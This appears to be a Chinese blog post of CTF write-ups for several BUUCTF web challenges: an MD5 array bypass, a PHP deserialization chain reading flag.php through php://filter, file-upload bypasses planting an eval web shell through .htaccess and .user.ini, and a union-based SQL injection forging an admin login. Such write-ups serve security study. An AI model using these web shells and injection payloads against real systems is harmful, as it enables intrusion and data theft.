[MRCTF2020]Ez_bypass
源码如下
首先显示MD5值强比较,我们就用数组绕过
?id[]=1&gg[]=2
然后后面就用字符串绕过,他在解析的时候,会转换成数值
passwd=1234567a
总的payload
[网鼎杯 2020 青龙组]AreUSerialz
参考:
[网鼎杯 2020 青龙组]AreUSerialz 解题思路&过程-CSDN博客
打开题目就是源码
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
我们可以看出来是一个反序列化的题。
它需要我们传递的参数ascll码对应的32-125的位置,都是些常见的可打印字符
然后__destruct会判断我们是不是op=2,我们需要绕过,这个是===,我们直接数字2绕过
然后process里面,我们进入read(),然后读取flag.php源码
分析完毕,我们打开php在线
构造完毕后会显示不可打印字符
<?php
class FileHandler {
protected $op=2;
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
protected $content;
}
$a=new FileHandler();
echo serialize($a);
大佬说
查看网页源代码,可以看到有不可打印字符。这是因为序列化后protected类型的属性存在不可打印字符。(经测试,private类型的属性序列化后也产生不可打印字符)对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public,以消除不可打印字符。
所以我们把属性都改成 public,再构造一次
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
bas64解码得到flag
[GXYCTF2019]BabyUpload
这道题先是过滤了后缀不能出现ph,我们平常用的php文件后缀,都用不了,所以这个绕不过
还有文件类型过滤,可以改成 image/jpeg
文件里内容不能出现 <? ,那我们就换写法
<script language="php">eval($_REQUEST['cmd']);</script>
中间我访问了错误地址,发现是apache中间件,所以我们这道题可以.htaccess绕过
<IfModule mime_module>
SetHandler application/x-httpd-php
</IfModule>
然后上传图片马
蚁剑连接找到flag
[SUCTF 2019]CheckIn
参考:
这道题和上道题差不多,只不过这道题用了.user.ini绕过,多了一个文件头检测
我们文件头就加上GIF89a
我们先上传 .user.ini
GIF89a
auto_prepend_file=shell.jpg
然后上传shell.jpg
GIF89a
<script language="php">eval($_REQUEST['cmd']);</script>
然后以index.php这个为连接地址,就可以连接蚁剑,找到flag
.user.ini文件过几分钟就会更新消失
[GXYCTF2019]BabySQli
参考:
[BUUCTF GXYCTF2019]BabySQli 1 详解!(MD5与SQL之间的碰撞)-云社区-华为云 (huaweicloud.com)
这道题我先试了试
屏蔽了 or =,然后大写就可以绕过了
所以我们报字段
1' OR true ORDER BY 3#//正常回显
1' OR true ORDER BY 4#//错误回显
所以字段数为 3
然后我想正常注入,注入不行
看了一下师傅们的博客,说是在登录失败那个界面里有个小提示
`
然后拿去Cyberchef解密CyberChef
然后发现后台的查询语句,我们也是试出来几个字段,然后用户名是admin,然后我们看看admin在哪个字段
试出来发现是第二个字段
' union select 1,'admin',3#
然后看看源码的逻辑,比赛估计没有,这时候我们学习,还是看看吧
大佬的解释如下:[BUUCTF GXYCTF2019]BabySQli 1 详解!(MD5与SQL之间的碰撞)-云社区-华为云 (huaweicloud.com)
username数据表里面的3个字段分别是flag、name、password。
猜测只有password字段位NULL
咱们给参数password传入的值是123
那么传进去后,后台就会把123进行md5值加密并存放到password字段当中
当我们使用查询语句的时候
我们pw参数的值会被md5值进行加密
然后再去与之前存入password中的md5值进行比较
如果相同就会输出flag
然后我们就给 123 MD5加密
202cb962ac59075b964b07152d234b70
payload
' union select 1,'admin','202cb962ac59075b964b07152d234b70'# //username
123 //password
成功拿到flag
标签:WEB,26,BUUCTF,res,然后,flag,password,output,php From: https://www.cnblogs.com/Muneyoshi/p/18206968